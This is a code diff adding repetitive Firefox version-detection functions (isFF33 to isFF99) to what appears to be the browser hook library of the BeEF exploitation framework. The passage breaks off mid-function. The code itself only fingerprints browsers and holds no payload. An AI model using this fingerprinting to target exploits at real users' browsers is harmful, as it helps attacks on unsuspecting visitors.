+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
+    },
+
+    /**
+     * Returns true if FF34
+     * @example: beef.browser.isFF34()
+     */
+    isFF34: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
+    },
+
+    /**
+     * Returns true if FF35
+     * @example: beef.browser.isFF35()
+     */
+    isFF35: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
+    },
+
+    /**
+     * Returns true if FF36
+     * @example: beef.browser.isFF36()
+     */
+    isFF36: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
+    },
+
+    /**
+     * Returns true if FF37
+     * @example: beef.browser.isFF37()
+     */
+    isFF37: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
+    },
+
+    /**
+     * Returns true if FF38
+     * @example: beef.browser.isFF38()
+     */
+    isFF38: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
+    },
+
+    /**
+     * Returns true if FF39
+     * @example: beef.browser.isFF39()
+     */
+    isFF39: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
+    },
+
+    /**
+     * Returns true if FF40
+     * @example: beef.browser.isFF40()
+     */
+    isFF40: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
+    },
+
+    /**
+     * Returns true if FF41
+     * @example: beef.browser.isFF41()
+     */
+    isFF41: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
+    },
+
+    /**
+     * Returns true if FF42
+     * @example: beef.browser.isFF42()
+     */
+    isFF42: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
+    },
+
+    /**
+     * Returns true if FF43
+     * @example: beef.browser.isFF43()
+     */
+    isFF43: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
+    },
+
+    /**
+     * Returns true if FF44
+     * @example: beef.browser.isFF44()
+     */
+    isFF44: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
+    },
+
+    /**
+     * Returns true if FF45
+     * @example: beef.browser.isFF45()
+     */
+    isFF45: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
+    },
+
+    /**
+     * Returns true if FF46
+     * @example: beef.browser.isFF46()
+     */
+    isFF46: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
+    },
+
+    /**
+     * Returns true if FF47
+     * @example: beef.browser.isFF47()
+     */
+    isFF47: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
+    },
+
+    /**
+     * Returns true if FF48
+     * @example: beef.browser.isFF48()
+     */
+    isFF48: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
+    },
+
+    /**
+     * Returns true if FF49
+     * @example: beef.browser.isFF49()
+     */
+    isFF49: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
+    },
+
+    /**
+     * Returns true if FF50
+     * @example: beef.browser.isFF50()
+     */
+    isFF50: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
+    },
+
+    /**
+     * Returns true if FF51
+     * @example: beef.browser.isFF51()
+     */
+    isFF51: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
+    },
+
+    /**
+     * Returns true if FF52
+     * @example: beef.browser.isFF52()
+     */
+    isFF52: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
+    },
+
+    /**
+     * Returns true if FF53
+     * @example: beef.browser.isFF53()
+     */
+    isFF53: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
+    },
+
+    /**
+     * Returns true if FF54
+     * @example: beef.browser.isFF54()
+     */
+    isFF54: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
+    },
+
+    /**
+     * Returns true if FF55
+     * @example: beef.browser.isFF55()
+     */
+    isFF55: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
+    },
+
+    /**
+     * Returns true if FF56
+     * @example: beef.browser.isFF56()
+     */
+    isFF56: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
+    },
+
+    /**
+     * Returns true if FF57
+     * @example: beef.browser.isFF57()
+     */
+    isFF57: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
+    },
+    
+    /**
+     * Returns true if FF58
+     * @example: beef.browser.isFF58()
+     */
+    isFF58: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
+    },
+
+    /**
+     * Returns true if FF59
+     * @example: beef.browser.isFF59()
+     */
+    isFF59: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/59./) != null;
+    },
+
+    /**
+     * Returns true if FF60
+     * @example: beef.browser.isFF60()
+     */
+    isFF60: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/60./) != null;
+    },
+
+    /**
+     * Returns true if FF61
+     * @example: beef.browser.isFF61()
+     */
+    isFF61: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/61./) != null;
+    },
+
+    /**
+     * Returns true if FF62
+     * @example: beef.browser.isFF62()
+     */
+    isFF62: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/62./) != null;
+    },
+
+    /**
+     * Returns true if FF63
+     * @example: beef.browser.isFF63()
+     */
+    isFF63: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/63./) != null;
+    },
+
+    /**
+     * Returns true if FF64
+     * @example: beef.browser.isFF64()
+     */
+    isFF64: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/64./) != null;
+    },
+
+    /**
+     * Returns true if FF65
+     * @example: beef.browser.isFF65()
+     */
+    isFF65: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/65./) != null;
+    },
+
+    /**
+     * Returns true if FF66
+     * @example: beef.browser.isFF66()
+     */
+    isFF66: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/66./) != null;
+    },
+
+    /**
+     * Returns true if FF67
+     * @example: beef.browser.isFF67()
+     */
+    isFF67: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/67./) != null;
+    },
+
+    /**
+     * Returns true if FF68
+     * @example: beef.browser.isFF68()
+     */
+    isFF68: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/68./) != null;
+    },
+
+    /**
+     * Returns true if FF69
+     * @example: beef.browser.isFF69()
+     */
+    isFF69: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/69./) != null;
+    },
+
+    /**
+     * Returns true if FF70
+     * @example: beef.browser.isFF70()
+     */
+    isFF70: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/70./) != null;
+    },
+
+    /**
+     * Returns true if FF71
+     * @example: beef.browser.isFF71()
+     */
+    isFF71: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/71./) != null;
+    },
+
+    /**
+     * Returns true if FF72
+     * @example: beef.browser.isFF72()
+     */
+    isFF72: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/72./) != null;
+    },
+
+    /**
+     * Returns true if FF73
+     * @example: beef.browser.isFF73()
+     */
+    isFF73: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/73./) != null;
+    },
+
+    /**
+     * Returns true if FF74
+     * @example: beef.browser.isFF74()
+     */
+    isFF74: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/74./) != null;
+    },
+
+    /**
+     * Returns true if FF75
+     * @example: beef.browser.isFF75()
+     */
+    isFF75: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/75./) != null;
+    },
+
+    /**
+     * Returns true if FF76
+     * @example: beef.browser.isFF76()
+     */
+    isFF76: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/76./) != null;
+    },
+
+    /**
+     * Returns true if FF77
+     * @example: beef.browser.isFF77()
+     */
+    isFF77: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/77./) != null;
+    },
+
+    /**
+     * Returns true if FF78
+     * @example: beef.browser.isFF78()
+     */
+    isFF78: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/78./) != null;
+    },
+
+    /**
+     * Returns true if FF79
+     * @example: beef.browser.isFF79()
+     */
+    isFF79: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/79./) != null;
+    },
+
+    /**
+     * Returns true if FF80
+     * @example: beef.browser.isFF80()
+     */
+    isFF80: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/80./) != null;
+    },
+
+    /**
+     * Returns true if FF81
+     * @example: beef.browser.isFF81()
+     */
+    isFF81: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/81./) != null;
+    },
+
+    /**
+     * Returns true if FF82
+     * @example: beef.browser.isFF82()
+     */
+    isFF82: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/82./) != null;
+    },
+
+    /**
+     * Returns true if FF83
+     * @example: beef.browser.isFF83()
+     */
+    isFF83: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/83./) != null;
+    },
+
+    /**
+     * Returns true if FF84
+     * @example: beef.browser.isFF84()
+     */
+    isFF84: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/84./) != null;
+    },
+
+    /**
+     * Returns true if FF85
+     * @example: beef.browser.isFF85()
+     */
+    isFF85: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/85./) != null;
+    },
+
+    /**
+     * Returns true if FF86
+     * @example: beef.browser.isFF86()
+     */
+    isFF86: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/86./) != null;
+    },
+
+    /**
+     * Returns true if FF87
+     * @example: beef.browser.isFF87()
+     */
+    isFF87: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/87./) != null;
+    },
+
+    /**
+     * Returns true if FF88
+     * @example: beef.browser.isFF88()
+     */
+    isFF88: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/88./) != null;
+    },
+
+    /**
+     * Returns true if FF89
+     * @example: beef.browser.isFF89()
+     */
+    isFF89: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
+    },
+
+    /**
+     * Returns true if FF90
+     * @example: beef.browser.isFF90()
+     */
+    isFF90: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
+    },
+
+    /**
+     * Returns true if FF91
+     * @example: beef.browser.isFF91()
+     */
+    isFF91: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
+    },
+
+    /**
+     * Returns true if FF92
+     * @example: beef.browser.isFF92()
+     */
+    isFF92: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
+    },
+
+    /**
+     * Returns true if FF93
+     * @example: beef.browser.isFF93()
+     */
+    isFF93: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
+    },
+
+    /**
+     * Returns true if FF94
+     * @example: beef.browser.isFF94()
+     */
+    isFF94: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
+    },
+
+    /**
+     * Returns true if FF95
+     * @example: beef.browser.isFF95()
+     */
+    isFF95: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
+    },
+
+    /**
+     * Returns true if FF96
+     * @example: beef.browser.isFF96()
+     */
+    isFF96: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
+    },
+
+    /**
+     * Returns true if FF97
+     * @example: beef.browser.isFF97()
+     */
+    isFF97: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
+    },
+
+    /**
+     * Returns true if FF98
+     * @example: beef.browser.isFF98()
+     */
+    isFF98: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
+    },
+
+    /**
+     * Returns true if FF99
+     * @example: beef.browser.isFF99()
+     */
+    isFF99: function () {
